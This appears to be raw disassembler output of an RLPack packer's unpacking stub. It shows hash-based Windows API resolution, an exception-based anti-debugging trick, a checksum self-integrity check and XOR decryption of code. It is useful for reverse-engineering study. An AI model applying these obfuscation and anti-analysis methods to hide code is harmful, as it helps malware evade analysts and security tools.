sub_4FC291	proc near		; CODE XREF: .RLPack:004FC24Ap
					; .RLPack:004FC260p
		xor	ecx, ecx
sub_4FC291	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4FC293	proc near		; CODE XREF: .RLPack:loc_4FC241p
		inc	ecx


loc_4FC294:				; CODE XREF: sub_4FC293+Dj
		call	sub_4FC287
		adc	ecx, ecx
		call	sub_4FC287
		jb	short loc_4FC294
		retn
sub_4FC293	endp

; ---------------------------------------------------------------------------


loc_4FC2A3:				; CODE XREF: .RLPack:004FC254j
		sub	edi, [esp+28h]
		mov	[esp+1Ch], edi
		popa
		retn
; ---------------------------------------------------------------------------
		align 10h
		dd 2 dup(0)
		dd 0FC2D500h, 0FC2E200h, 5 dup(0)
		dd 72656B00h, 336C656Eh, 6C642E32h, 5D8006Ch, 0A5FD77E8h
		dd 980A77E7h, 9E3477E7h, 169A77E7h, 9F9377E6h, 77E7h, 0
aLoadlibrarya	db 'LoadLibraryA',0
		align 2
aGetprocaddress	db 'GetProcAddress',0
		align 2
aVirtualalloc	db 'VirtualAlloc',0
		align 4
aVirtualfree	db 'VirtualFree',0
		dd 72695600h, 6C617574h, 746F7250h, 746365h, 74654700h
		dd 75646F4Dh, 6148656Ch, 656C646Eh, 41h, 8000010h
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_4FC363	proc near		; CODE XREF: start:loc_4FC00Fp
		push	edi
		push	esi
		mov	edi, esi
		jmp	short loc_4FC36A
; ---------------------------------------------------------------------------


loc_4FC369:				; CODE XREF: sub_4FC363+Aj
		inc	esi


loc_4FC36A:				; CODE XREF: sub_4FC363+4j
		cmp	byte ptr [esi],	0
		jnz	short loc_4FC369
		jmp	short loc_4FC372
; ---------------------------------------------------------------------------


loc_4FC371:				; CODE XREF: sub_4FC363+16j
		dec	esi


loc_4FC372:				; CODE XREF: sub_4FC363+Cj
		cmp	byte ptr [esi],	5Ch
		jz	short loc_4FC37B
		cmp	esi, edi
		jnz	short loc_4FC371


loc_4FC37B:				; CODE XREF: sub_4FC363+12j
		cmp	byte ptr [esi],	5Ch
		jnz	short loc_4FC384
		pop	edi
		inc	esi
		jmp	short loc_4FC385
; ---------------------------------------------------------------------------


loc_4FC384:				; CODE XREF: sub_4FC363+1Bj
		pop	esi


loc_4FC385:				; CODE XREF: sub_4FC363+1Fj
		pop	edi
		retn
sub_4FC363	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4FC387:				; CODE XREF: start+180j
		cmp	dword ptr [ebp+140Ah], 0
		jnz	short loc_4FC397
		mov	edi, 1
		jmp	short loc_4FC39C
; ---------------------------------------------------------------------------


loc_4FC397:				; CODE XREF: start+4A4j
		mov	edi, 2


loc_4FC39C:				; CODE XREF: start+4ABj
		jmp	short loc_4FC3A0
; ---------------------------------------------------------------------------


loc_4FC39E:				; CODE XREF: start+133j
		xor	edi, edi


loc_4FC3A0:				; CODE XREF: start:loc_4FC39Cj
		push	40h
		push	1000h
		push	1000h
		push	0
		call	dword ptr [ebp+3FAh]
		mov	[ebp+1F47h], eax
		lea	ebx, [ebp+1446h]
		push	ebx
		call	dword ptr [ebp+3F2h]
		push	eax
		cmp	dword ptr [ebp+1436h], 0ABBC680Dh
		jnz	short loc_4FC3E6
		push	dword ptr [ebp+1436h]
		push	eax
		call	sub_4FD291
		mov	[ebp+1436h], eax


loc_4FC3E6:				; CODE XREF: start+4E8j
		pop	eax
		cmp	dword ptr [ebp+1442h], 0EA3AF0D7h
		jnz	short loc_4FC405
		push	dword ptr [ebp+1442h]
		push	eax
		call	sub_4FD291
		mov	[ebp+1442h], eax


loc_4FC405:				; CODE XREF: start+507j
		or	edi, edi
		jnz	short loc_4FC422
		push	esi
		lea	ebx, [ebp+147Bh]
		push	ebx
		push	dword ptr [ebp+1F47h]
		call	dword ptr [ebp+1442h]
		add	esp, 0Ch
		jmp	short loc_4FC468
; ---------------------------------------------------------------------------


loc_4FC422:				; CODE XREF: start+51Dj
		cmp	edi, 1
		jnz	short loc_4FC446
		push	esi
		push	dword ptr [ebp+1F43h]
		lea	ebx, [ebp+14A3h]
		push	ebx
		push	dword ptr [ebp+1F47h]
		call	dword ptr [ebp+1442h]
		add	esp, 10h
		jmp	short loc_4FC468
; ---------------------------------------------------------------------------


loc_4FC446:				; CODE XREF: start+53Bj
		cmp	edi, 2
		jnz	short loc_4FC468
		push	esi
		push	dword ptr [ebp+140Ah]
		lea	ebx, [ebp+14DCh]
		push	ebx
		push	dword ptr [ebp+1F47h]
		call	dword ptr [ebp+1442h]
		add	esp, 10h


loc_4FC468:				; CODE XREF: start+536j start+55Aj ...
		push	30h
		lea	ebx, [ebp+1451h]
		push	ebx
		push	dword ptr [ebp+1F47h]
		push	0
		call	dword ptr [ebp+1436h]
		push	4000h
		push	1000h
		push	dword ptr [ebp+1F47h]
		call	dword ptr [ebp+3FEh]
		popa
		retn
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		pusha
		lea	ebx, [ebp+1446h]
		push	ebx
		call	dword ptr [ebp+3F2h]
		cmp	dword ptr [ebp+1436h], 0ABBC680Dh
		jnz	short loc_4FC4BD
		push	dword ptr [ebp+1436h]
		push	eax
		call	sub_4FD291


loc_4FC4BD:				; CODE XREF: .RLPack:004FC4AFj
		mov	eax, offset sub_41D933
		call	sub_4FC0EF
		mov	dword ptr [eax], 0C390C033h
		call	eax ; sub_41D933
		lea	eax, [ebp+610h]
		mov	[ebp+1F43h], eax
		mov	[ebp+1F47h], ebp
		lea	eax, [ebp+61Ch]
		push	eax
		push	large dword ptr	fs:0
		mov	[ebp+1406h], esp
		mov	large fs:0, esp
		xor	eax, eax
		xchg	eax, [eax]
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+10h]
		mov	ecx, offset byte_4FDE33
		call	sub_4FC10F
		mov	ebx, [ecx]
		mov	[eax+0B8h], ebx
		mov	ecx, offset word_4FD2F6
		call	sub_4FC10F
		mov	ebx, [ecx]
		mov	[eax+0C4h], ebx
		mov	ecx, offset byte_4FDE37
		call	sub_4FC10F
		mov	ebx, [ecx]
		mov	[eax+0B4h], ebx
		mov	eax, 0
		leave
		retn
; ---------------------------------------------------------------------------
		pusha
		call	sub_4FD255
		mov	[ebp+1416h], eax
		lea	ebx, [ebp+143Ah]
		mov	esi, 2
		jmp	short loc_4FC57B
; ---------------------------------------------------------------------------


loc_4FC568:				; CODE XREF: .RLPack:004FC57Ej
		push	dword ptr [ebx]
		push	dword ptr [ebp+1416h]
		call	sub_4FD291
		mov	[ebx], eax
		add	ebx, 4
		dec	esi


loc_4FC57B:				; CODE XREF: .RLPack:004FC566j
		cmp	esi, 0
		ja	short loc_4FC568
		lea	eax, [ebp+1771h]
		push	eax
		push	0
		push	1F0001h
		call	dword ptr [ebp+143Eh]
		or	eax, eax
		jnz	short loc_4FC5AB
		lea	eax, [ebp+1771h]
		push	eax
		push	0
		push	0
		call	dword ptr [ebp+143Ah]
		jmp	short loc_4FC5E8
; ---------------------------------------------------------------------------


loc_4FC5AB:				; CODE XREF: .RLPack:004FC596j
		lea	ebx, [ebp+1446h]
		push	ebx
		call	dword ptr [ebp+3F2h]
		cmp	dword ptr [ebp+1436h], 0ABBC680Dh
		jnz	short loc_4FC5D0
		push	dword ptr [ebp+1436h]
		push	eax
		call	sub_4FD291


loc_4FC5D0:				; CODE XREF: .RLPack:004FC5C2j
		push	30h
		lea	ebx, [ebp+1451h]
		push	ebx
		lea	ebx, [ebp+151Fh]
		push	ebx
		push	0
		call	eax
		popa
		popa
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4FC5E8:				; CODE XREF: .RLPack:004FC5A9j
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		call	sub_4FD255
		mov	[ebp+1416h], eax
		lea	ebx, [ebp+141Eh]
		mov	esi, 6
		jmp	short loc_4FC616
; ---------------------------------------------------------------------------


loc_4FC603:				; CODE XREF: .RLPack:004FC619j
		push	dword ptr [ebx]
		push	dword ptr [ebp+1416h]
		call	sub_4FD291
		mov	[ebx], eax
		add	ebx, 4
		dec	esi


loc_4FC616:				; CODE XREF: .RLPack:004FC601j
		cmp	esi, 0
		ja	short loc_4FC603
		push	40h
		push	1000h
		push	104h
		push	0
		call	dword ptr [ebp+3FAh]
		mov	[ebp+1F43h], eax
		push	104h
		push	eax
		push	0
		call	dword ptr [ebp+141Eh]
		push	0
		push	80h
		push	3
		push	0
		push	0
		push	80000000h
		push	dword ptr [ebp+1F43h]
		call	dword ptr [ebp+1422h]
		cmp	eax, 0FFFFFFFFh
		jz	loc_4FC751
		mov	[ebp+1F47h], eax
		call	sub_4FC758
		push	0
		push	dword ptr [ebp+1F47h]
		call	dword ptr [ebp+142Ah]
		mov	esi, eax
		push	40h
		push	1000h
		push	eax
		push	0
		call	dword ptr [ebp+3FAh]
		mov	[ebp+1F43h], eax
		push	0
		lea	ebx, [ebp+140Eh]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+1F47h]
		call	dword ptr [ebp+1426h]
		cmp	eax, 1
		jnz	short loc_4FC71F
		mov	eax, [ebp+1F43h]
		mov	ecx, [ebp+1F3Bh]
		xor	ebx, ebx
		cdq
		jmp	short loc_4FC6D1
; ---------------------------------------------------------------------------


loc_4FC6C8:				; CODE XREF: .RLPack:004FC6D4j
		mov	dl, [eax]
		rol	ebx, 7
		xor	bl, dl
		inc	eax
		dec	ecx


loc_4FC6D1:				; CODE XREF: .RLPack:004FC6C6j
		cmp	ecx, 0
		ja	short loc_4FC6C8
		cmp	ebx, [ebp+1F37h]
		jz	short loc_4FC71F
		lea	ebx, [ebp+1446h]
		push	ebx
		call	dword ptr [ebp+3F2h]
		cmp	dword ptr [ebp+1436h], 0ABBC680Dh
		jnz	short loc_4FC703
		push	dword ptr [ebp+1436h]
		push	eax
		call	sub_4FD291


loc_4FC703:				; CODE XREF: .RLPack:004FC6F5j
		push	30h
		lea	ebx, [ebp+1451h]
		push	ebx
		lea	ebx, [ebp+1458h]
		push	ebx
		push	0
		call	eax
		push	0
		call	dword ptr [ebp+1432h]


loc_4FC71F:				; CODE XREF: .RLPack:004FC6B5j
					; .RLPack:004FC6DCj
		push	4000h
		push	esi
		push	dword ptr [ebp+1F43h]
		call	dword ptr [ebp+3FEh]
		cmp	dword ptr [ebp+17B3h], 1
		jz	short loc_4FC756
		cmp	dword ptr [ebp+17B7h], 1
		jz	short loc_4FC756
		push	dword ptr [ebp+1F47h]
		call	dword ptr [ebp+142Eh]
		jmp	short loc_4FC756
; ---------------------------------------------------------------------------


loc_4FC751:				; CODE XREF: .RLPack:004FC664j
		call	sub_4FC758


loc_4FC756:				; CODE XREF: .RLPack:004FC738j
					; .RLPack:004FC741j ...
		popa
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4FC758	proc near		; CODE XREF: .RLPack:004FC670p
					; .RLPack:loc_4FC751p
		push	4000h
		push	104h
		push	dword ptr [ebp+1F43h]
		call	dword ptr [ebp+3FEh]
		retn
sub_4FC758	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		pusha
		mov	esi, offset sub_401000
		mov	dword ptr [ebp-4], 0
		mov	eax, [ebp+8]
		mov	[esi+198Eh], eax
		cmp	dword ptr [ebp+0Ch], 110h
		jnz	short loc_4FC7C5
		mov	dword ptr [ebp-4], 1
		lea	ebx, [esi+1C67h]
		mov	edi, 7
		jmp	short loc_4FC7B9
; ---------------------------------------------------------------------------


loc_4FC7A8:				; CODE XREF: .RLPack:004FC7BCj
		push	dword ptr [ebx]
		push	dword ptr [ebp+8]
		call	dword ptr [esi+196Eh]
		mov	[ebx], eax
		add	ebx, 4
		dec	edi


loc_4FC7B9:				; CODE XREF: .RLPack:004FC7A6j
		cmp	edi, 0
		ja	short loc_4FC7A8
		call	sub_4FC8CE
		jmp	short loc_4FC820
; ---------------------------------------------------------------------------


loc_4FC7C5:				; CODE XREF: .RLPack:004FC792j
		cmp	dword ptr [ebp+0Ch], 10h
		jz	short loc_4FC7D4
		cmp	dword ptr [esi+1992h], 1
		jnz	short loc_4FC7E1


loc_4FC7D4:				; CODE XREF: .RLPack:004FC7C9j
		push	0
		push	dword ptr [ebp+8]
		call	dword ptr [esi+196Ah]
		jmp	short loc_4FC820
; ---------------------------------------------------------------------------


loc_4FC7E1:				; CODE XREF: .RLPack:004FC7D2j
		cmp	dword ptr [ebp+0Ch], 111h
		jnz	short loc_4FC820
		cmp	dword ptr [ebp+10h], 7
		jnz	short loc_4FC820
		push	34h
		lea	eax, [esi+153Fh]
		push	eax
		lea	eax, [esi+1576h]
		push	eax
		push	0
		call	dword ptr [esi+1436h]
		cmp	eax, 6
		jnz	short loc_4FC820
		push	0
		push	dword ptr [ebp+8]
		call	dword ptr [esi+196Ah]
		push	0
		call	dword ptr [esi+198Ah]


loc_4FC820:				; CODE XREF: .RLPack:004FC7C3j
					; .RLPack:004FC7DFj ...
		popa
		mov	eax, [ebp-4]
		leave
		retn	10h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		pusha
		mov	esi, offset sub_401000
		mov	dword ptr [ebp-4], 0
		mov	eax, [ebp+8]
		mov	[esi+198Eh], eax
		cmp	dword ptr [ebp+0Ch], 110h
		jnz	short loc_4FC879
		mov	dword ptr [ebp-4], 1
		lea	ebx, [esi+1C83h]
		mov	edi, 3
		jmp	short loc_4FC872
; ---------------------------------------------------------------------------


loc_4FC861:				; CODE XREF: .RLPack:004FC875j
		push	dword ptr [ebx]
		push	dword ptr [ebp+8]
		call	dword ptr [esi+196Eh]
		mov	[ebx], eax
		add	ebx, 4
		dec	edi


loc_4FC872:				; CODE XREF: .RLPack:004FC85Fj
		cmp	edi, 0
		ja	short loc_4FC861
		jmp	short loc_4FC8C6
; ---------------------------------------------------------------------------


loc_4FC879:				; CODE XREF: .RLPack:004FC84Bj
		cmp	dword ptr [ebp+0Ch], 10h
		jz	short loc_4FC888
		cmp	dword ptr [esi+1992h], 1
		jnz	short loc_4FC895


loc_4FC888:				; CODE XREF: .RLPack:004FC87Dj
		push	0
		push	dword ptr [ebp+8]
		call	dword ptr [esi+196Ah]
		jmp	short loc_4FC8C6
; ---------------------------------------------------------------------------


loc_4FC895:				; CODE XREF: .RLPack:004FC886j
		cmp	dword ptr [ebp+0Ch], 111h
		jnz	short loc_4FC8C6
		cmp	dword ptr [ebp+10h], 3
		jnz	short loc_4FC8C6
		push	100h
		push	dword ptr [esi+19A6h]
		push	dword ptr [esi+1C87h]
		call	dword ptr [esi+1976h]
		push	0
		push	dword ptr [ebp+8]
		call	dword ptr [esi+196Ah]


loc_4FC8C6:				; CODE XREF: .RLPack:004FC877j
					; .RLPack:004FC893j ...
		popa
		mov	eax, [ebp-4]
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================



sub_4FC8CE	proc near		; CODE XREF: .RLPack:004FC7BEp
		pusha
		call	sub_4FD255
		mov	[esi+1416h], eax
		push	dword ptr [esi+1986h]
		push	dword ptr [esi+1416h]
		call	sub_4FD291
		mov	[esi+1986h], eax
		lea	eax, [esi+19AEh]
		push	eax
		push	0
		push	esi
		lea	eax, [esi+0A1Eh]
		push	eax
		push	0
		push	0
		call	dword ptr [esi+1986h]
		popa
		retn
sub_4FC8CE	endp

; ---------------------------------------------------------------------------
		pusha
		mov	esi, [ebp+0Ch]
		lea	eax, [esi+199Eh]
		mov	edi, [eax]
		mov	edi, [edi]
		jmp	loc_4FCA26
; ---------------------------------------------------------------------------


loc_4FC921:				; CODE XREF: .RLPack:004FCA2Cj
		call	sub_4FCA4A
		lea	eax, [esi+1A00h]
		push	eax
		push	0
		lea	eax, [esi+199Eh]
		mov	eax, [eax]
		add	eax, 4
		mov	ebx, [esi+19A2h]
		mov	ecx, 1
		jmp	short loc_4FC94F
; ---------------------------------------------------------------------------


loc_4FC947:				; CODE XREF: .RLPack:004FC951j
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4FC94F
		inc	eax
		inc	ecx


loc_4FC94F:				; CODE XREF: .RLPack:004FC945j
					; .RLPack:004FC94Bj
		cmp	ecx, ebx
		jb	short loc_4FC947
		mov	ebx, eax
		pusha
		push	ebx
		lea	ebx, [esi+141Eh]
		push	dword ptr [ebx]
		push	dword ptr [esi+1416h]
		call	sub_4FD291
		push	104h
		push	dword ptr [esi+19AAh]
		push	0
		call	eax
		lea	eax, [esi+19AAh]
		mov	eax, [eax]
		add	eax, 104h
		jmp	short loc_4FC989
; ---------------------------------------------------------------------------


loc_4FC988:				; CODE XREF: .RLPack:004FC98Cj
		dec	eax


loc_4FC989:				; CODE XREF: .RLPack:004FC986j
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_4FC988
		inc	eax
		pop	ebx
		jmp	short loc_4FC999
; ---------------------------------------------------------------------------


loc_4FC992:				; CODE XREF: .RLPack:004FC99Cj
		movzx	ecx, byte ptr [ebx]
		mov	[eax], cl
		inc	eax
		inc	ebx


loc_4FC999:				; CODE XREF: .RLPack:004FC990j
		cmp	byte ptr [ebx],	0
		jnz	short loc_4FC992
		mov	byte ptr [eax],	0
		popa
		lea	eax, [esi+19AAh]
		push	dword ptr [eax]
		push	ebx
		lea	eax, [esi+1B63h]
		push	eax
		push	dword ptr [esi+19A6h]
		call	dword ptr [esi+1442h]
		add	esp, 0Ch
		push	dword ptr [esi+19A6h]
		push	0
		call	dword ptr [esi+1982h]
		or	eax, eax
		jz	short loc_4FC9F5
		push	10h
		lea	eax, [esi+1451h]
		push	eax
		lea	eax, [esi+15DFh]
		push	eax
		push	0
		call	dword ptr [esi+1436h]
		push	0
		call	dword ptr [esi+198Ah]
		jmp	short loc_4FCA26
; ---------------------------------------------------------------------------


loc_4FC9F5:				; CODE XREF: .RLPack:004FC9D1j
		push	ebx
		call	dword ptr [esi+3F2h]
		or	eax, eax
		jnz	short loc_4FCA20
		push	10h
		lea	eax, [esi+1451h]
		push	eax
		lea	eax, [esi+16EDh]
		push	eax
		push	0
		call	dword ptr [esi+1436h]
		push	0
		call	dword ptr [esi+198Ah]


loc_4FCA20:				; CODE XREF: .RLPack:004FC9FEj
		inc	dword ptr [esi+19A2h]


loc_4FCA26:				; CODE XREF: .RLPack:004FC91Cj
					; .RLPack:004FC9F3j
		cmp	[esi+19A2h], edi
		jbe	loc_4FC921
		mov	dword ptr [esi+1992h], 1
		push	dword ptr [esi+198Eh]
		call	dword ptr [esi+197Eh]
		popa
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4FCA4A	proc near		; CODE XREF: .RLPack:loc_4FC921p
		pusha
		lea	eax, [esi+1A63h]
		push	eax
		lea	eax, [esi+19C2h]
		push	eax
		push	dword ptr [esi+19A6h]
		call	dword ptr [esi+1442h]
		add	esp, 0Ch
		push	dword ptr [esi+19A6h]
		push	dword ptr [esi+1C6Fh]
		call	dword ptr [esi+1972h]
		lea	eax, [esi+199Eh]
		mov	eax, [eax]
		add	eax, 4
		mov	ebx, [esi+19A2h]
		mov	ecx, 1
		jmp	short loc_4FCA9A
; ---------------------------------------------------------------------------


loc_4FCA92:				; CODE XREF: sub_4FCA4A+52j
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4FCA9A
		inc	eax
		inc	ecx


loc_4FCA9A:				; CODE XREF: sub_4FCA4A+46j
					; sub_4FCA4A+4Cj
		cmp	ecx, ebx
		jb	short loc_4FCA92
		push	eax
		lea	eax, [esi+19CEh]
		push	eax
		push	dword ptr [esi+19A6h]
		call	dword ptr [esi+1442h]
		add	esp, 0Ch
		push	dword ptr [esi+19A6h]
		push	dword ptr [esi+1C73h]
		call	dword ptr [esi+1972h]
		lea	eax, [esi+199Eh]
		mov	eax, [eax]
		push	dword ptr [eax]
		push	dword ptr [esi+19A2h]
		lea	eax, [esi+19F4h]
		push	eax
		push	dword ptr [esi+19A6h]
		call	dword ptr [esi+1442h]
		add	esp, 10h
		push	dword ptr [esi+19A6h]
		push	dword ptr [esi+1C7Bh]
		call	dword ptr [esi+1972h]
		push	0
		lea	eax, [esi+19DEh]
		push	eax
		push	dword ptr [esi+19A6h]
		call	dword ptr [esi+1442h]
		add	esp, 0Ch
		push	dword ptr [esi+19A6h]
		push	dword ptr [esi+1C77h]
		call	dword ptr [esi+1972h]
		popa
		retn
sub_4FCA4A	endp

; ---------------------------------------------------------------------------
		pusha
		push	eax
		lea	eax, [esi+19DEh]
		push	eax
		push	dword ptr [esi+19A6h]
		call	dword ptr [esi+1442h]
		add	esp, 0Ch
		push	dword ptr [esi+19A6h]
		push	dword ptr [esi+1C77h]
		call	dword ptr [esi+1972h]
		popa
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4FCB57	proc near		; CODE XREF: start:loc_4FBFC8p
		pusha
		mov	esi, [ebp+1F47h]
		jmp	short loc_4FCB84
; ---------------------------------------------------------------------------


loc_4FCB60:				; CODE XREF: sub_4FCB57+30j
		push	esi
		call	dword ptr [ebp+406h]
		or	eax, eax
		jnz	short loc_4FCB7B
		push	esi
		call	dword ptr [ebp+3F2h]
		or	eax, eax
		jnz	short loc_4FCB7B
		call	sub_4FCB8B


loc_4FCB7B:				; CODE XREF: sub_4FCB57+12j
					; sub_4FCB57+1Dj
		jmp	short loc_4FCB7E
; ---------------------------------------------------------------------------


loc_4FCB7D:				; CODE XREF: sub_4FCB57+2Aj
		inc	esi


loc_4FCB7E:				; CODE XREF: sub_4FCB57:loc_4FCB7Bj
		cmp	byte ptr [esi],	0
		jnz	short loc_4FCB7D
		inc	esi


loc_4FCB84:				; CODE XREF: sub_4FCB57+7j
		cmp	byte ptr [esi],	1
		jnz	short loc_4FCB60
		popa
		retn
sub_4FCB57	endp


; =============== S U B	R O U T	I N E =======================================



sub_4FCB8B	proc near		; CODE XREF: sub_4FCB57+1Fp
		pusha
		cmp	dword ptr [ebp+1A63h], 0
		jz	loc_4FCC52
		cmp	dword ptr [ebp+199Eh], 0
		jnz	short loc_4FCBF4
		push	40h
		push	1000h
		push	1000h
		push	0
		call	dword ptr [ebp+3FAh]
		mov	[ebp+19AAh], eax
		push	40h
		push	1000h
		push	1000h
		push	0
		call	dword ptr [ebp+3FAh]
		mov	[ebp+19A6h], eax
		push	40h
		push	1000h
		push	1000h
		push	0
		call	dword ptr [ebp+3FAh]
		mov	[ebp+199Eh], eax
		jmp	short loc_4FCBF4
; ---------------------------------------------------------------------------
		jmp	short loc_4FCC52
; ---------------------------------------------------------------------------


loc_4FCBF4:				; CODE XREF: sub_4FCB8B+15j
					; sub_4FCB8B+65j
		mov	dword ptr [ebp+1996h], 0
		mov	eax, [ebp+199Eh]
		add	eax, 4
		jmp	short loc_4FCC2F
; ---------------------------------------------------------------------------


loc_4FCC09:				; CODE XREF: sub_4FCB8B+A7j
		pusha
		mov	edi, eax
		xor	ecx, ecx
		jmp	short loc_4FCC12
; ---------------------------------------------------------------------------


loc_4FCC10:				; CODE XREF: sub_4FCB8B+8Aj
		inc	eax
		inc	ecx


loc_4FCC12:				; CODE XREF: sub_4FCB8B+83j
		cmp	byte ptr [eax],	0
		jnz	short loc_4FCC10
		repe cmpsb
		jnz	short loc_4FCC25
		mov	dword ptr [ebp+1996h], 1


loc_4FCC25:				; CODE XREF: sub_4FCB8B+8Ej
		popa
		jmp	short loc_4FCC29
; ---------------------------------------------------------------------------


loc_4FCC28:				; CODE XREF: sub_4FCB8B+A1j
		inc	eax


loc_4FCC29:				; CODE XREF: sub_4FCB8B+9Bj
		cmp	byte ptr [eax],	0
		jnz	short loc_4FCC28
		inc	eax


loc_4FCC2F:				; CODE XREF: sub_4FCB8B+7Cj
		cmp	byte ptr [eax],	0
		jnz	short loc_4FCC09
		cmp	dword ptr [ebp+1996h], 0
		jnz	short loc_4FCC52
		jmp	short loc_4FCC45
; ---------------------------------------------------------------------------


loc_4FCC3F:				; CODE XREF: sub_4FCB8B+BDj
		mov	bl, [esi]
		mov	[eax], bl
		inc	eax
		inc	esi


loc_4FCC45:				; CODE XREF: sub_4FCB8B+B2j
		cmp	byte ptr [esi],	0
		jnz	short loc_4FCC3F
		mov	eax, [ebp+199Eh]
		inc	dword ptr [eax]


loc_4FCC52:				; CODE XREF: sub_4FCB8B+8j
					; sub_4FCB8B+67j ...
		popa
		retn
sub_4FCB8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4FCC54	proc near		; CODE XREF: sub_4FCCAF+57p
					; .RLPack:loc_4FCE0Bp
		pusha
		push	4000h
		push	1000h
		push	dword ptr [ebp+199Eh]
		call	dword ptr [ebp+3FEh]
		push	4000h
		push	1000h
		push	dword ptr [ebp+19AAh]
		call	dword ptr [ebp+3FEh]
		push	4000h
		push	1000h
		push	dword ptr [ebp+19A6h]
		call	dword ptr [ebp+3FEh]
		push	4000h
		push	1000h
		push	dword ptr [ebp+199Ah]
		call	dword ptr [ebp+3FEh]
		popa
		retn
sub_4FCC54	endp


; =============== S U B	R O U T	I N E =======================================



sub_4FCCAF	proc near		; CODE XREF: start+FAp
		pusha
		push	40h
		push	1000h
		push	1000h
		push	0
		call	dword ptr [ebp+3FAh]
		mov	[ebp+199Ah], eax
		mov	edx, eax
		lea	eax, [ebp+1C8Fh]
		mov	ecx, 1B6h
		jmp	short loc_4FCCE1
; ---------------------------------------------------------------------------


loc_4FCCD9:				; CODE XREF: sub_4FCCAF+35j
		movzx	ebx, byte ptr [eax]
		mov	[edx], bl
		inc	eax
		inc	edx
		dec	ecx


loc_4FCCE1:				; CODE XREF: sub_4FCCAF+28j
		cmp	ecx, 0
		ja	short loc_4FCCD9
		push	0
		call	dword ptr [ebp+406h]
		push	0
		lea	ebx, [ebp+87Fh]
		push	ebx
		push	0
		push	dword ptr [ebp+199Ah]
		push	eax
		call	dword ptr [ebp+197Ah]
		call	sub_4FCC54
		popa
		retn
sub_4FCCAF	endp

; ---------------------------------------------------------------------------
		pusha
		call	sub_4FCE12
		mov	eax, [edi+esi]
		mov	[ebp+19BAh], eax
		push	40h
		push	1000h
		push	1000h
		push	0
		call	dword ptr [ebp+3FAh]
		mov	[ebp+19A6h], eax
		push	40h
		push	1000h
		push	1000h
		push	0
		call	dword ptr [ebp+3FAh]
		mov	[ebp+199Ah], eax
		mov	edx, eax
		lea	eax, [ebp+1E4Bh]
		mov	ecx, 0ECh
		jmp	short loc_4FCD67
; ---------------------------------------------------------------------------


loc_4FCD5F:				; CODE XREF: .RLPack:004FCD6Aj
		movzx	ebx, byte ptr [eax]
		mov	[edx], bl
		inc	eax
		inc	edx
		dec	ecx


loc_4FCD67:				; CODE XREF: .RLPack:004FCD5Dj
		cmp	ecx, 0
		ja	short loc_4FCD5F
		push	0
		call	dword ptr [ebp+406h]
		push	0
		lea	ebx, [ebp+938h]
		push	ebx
		push	0
		push	dword ptr [ebp+199Ah]
		push	eax
		call	dword ptr [ebp+197Ah]
		mov	eax, [ebp+19A6h]
		xor	ebx, ebx
		cdq
		jmp	short loc_4FCD9F
; ---------------------------------------------------------------------------


loc_4FCD97:				; CODE XREF: .RLPack:004FCDA2j
		mov	dl, [eax]
		rol	ebx, 7
		xor	bl, dl
		inc	eax


loc_4FCD9F:				; CODE XREF: .RLPack:004FCD95j
		cmp	byte ptr [eax],	0
		jnz	short loc_4FCD97
		cmp	ebx, [ebp+19B6h]
		jnz	short loc_4FCDEF
		mov	eax, [ebp+19A6h]
		cdq
		jmp	short loc_4FCDBD
; ---------------------------------------------------------------------------


loc_4FCDB5:				; CODE XREF: .RLPack:004FCDC0j
		mov	dl, [eax]
		rol	ebx, 7
		xor	bl, dl
		inc	eax


loc_4FCDBD:				; CODE XREF: .RLPack:004FCDB3j
		cmp	byte ptr [eax],	0
		jnz	short loc_4FCDB5
		mov	eax, [ebp+19BAh]
		mov	ecx, [ebp+19BEh]
		cmp	ecx, 0
		jbe	short loc_4FCE0B
		cmp	eax, 0
		jbe	short loc_4FCE0B
		cmp	ebx, 0
		jbe	short loc_4FCE0B
		jmp	short loc_4FCDE8
; ---------------------------------------------------------------------------


loc_4FCDDF:				; CODE XREF: .RLPack:004FCDEBj
		xor	[eax], bl
		xor	bl, cl
		rol	ebx, 7
		inc	eax
		dec	ecx


loc_4FCDE8:				; CODE XREF: .RLPack:004FCDDDj
		cmp	ecx, 0
		ja	short loc_4FCDDF
		jmp	short loc_4FCE0B
; ---------------------------------------------------------------------------


loc_4FCDEF:				; CODE XREF: .RLPack:004FCDAAj
		push	10h
		lea	eax, [ebp+153Fh]
		push	eax
		lea	eax, [ebp+1545h]
		push	eax
		push	0
		call	dword ptr [ebp+1436h]
		popa
		popa
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4FCE0B:				; CODE XREF: .RLPack:004FCDD1j
					; .RLPack:004FCDD6j ...
		call	sub_4FCC54
		popa
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4FCE12	proc near		; CODE XREF: start+F5p
					; .RLPack:004FCD0Ep
		pusha
		cmp	dword ptr [ebp+1982h], 0D95D2399h
		jnz	loc_4FCF65
		call	sub_4FD255
		mov	[ebp+1416h], eax
		push	dword ptr [ebp+198Ah]
		push	eax
		call	sub_4FD291
		mov	[ebp+198Ah], eax
		lea	ebx, [ebp+1446h]
		push	ebx
		call	dword ptr [ebp+3F2h]
		mov	[ebp+141Ah], eax
		lea	ebx, [ebp+196Ah]
		mov	esi, 5
		jmp	short loc_4FCE73
; ---------------------------------------------------------------------------


loc_4FCE60:				; CODE XREF: sub_4FCE12+64j
		push	dword ptr [ebx]
		push	dword ptr [ebp+141Ah]
		call	sub_4FD291
		mov	[ebx], eax
		add	ebx, 4
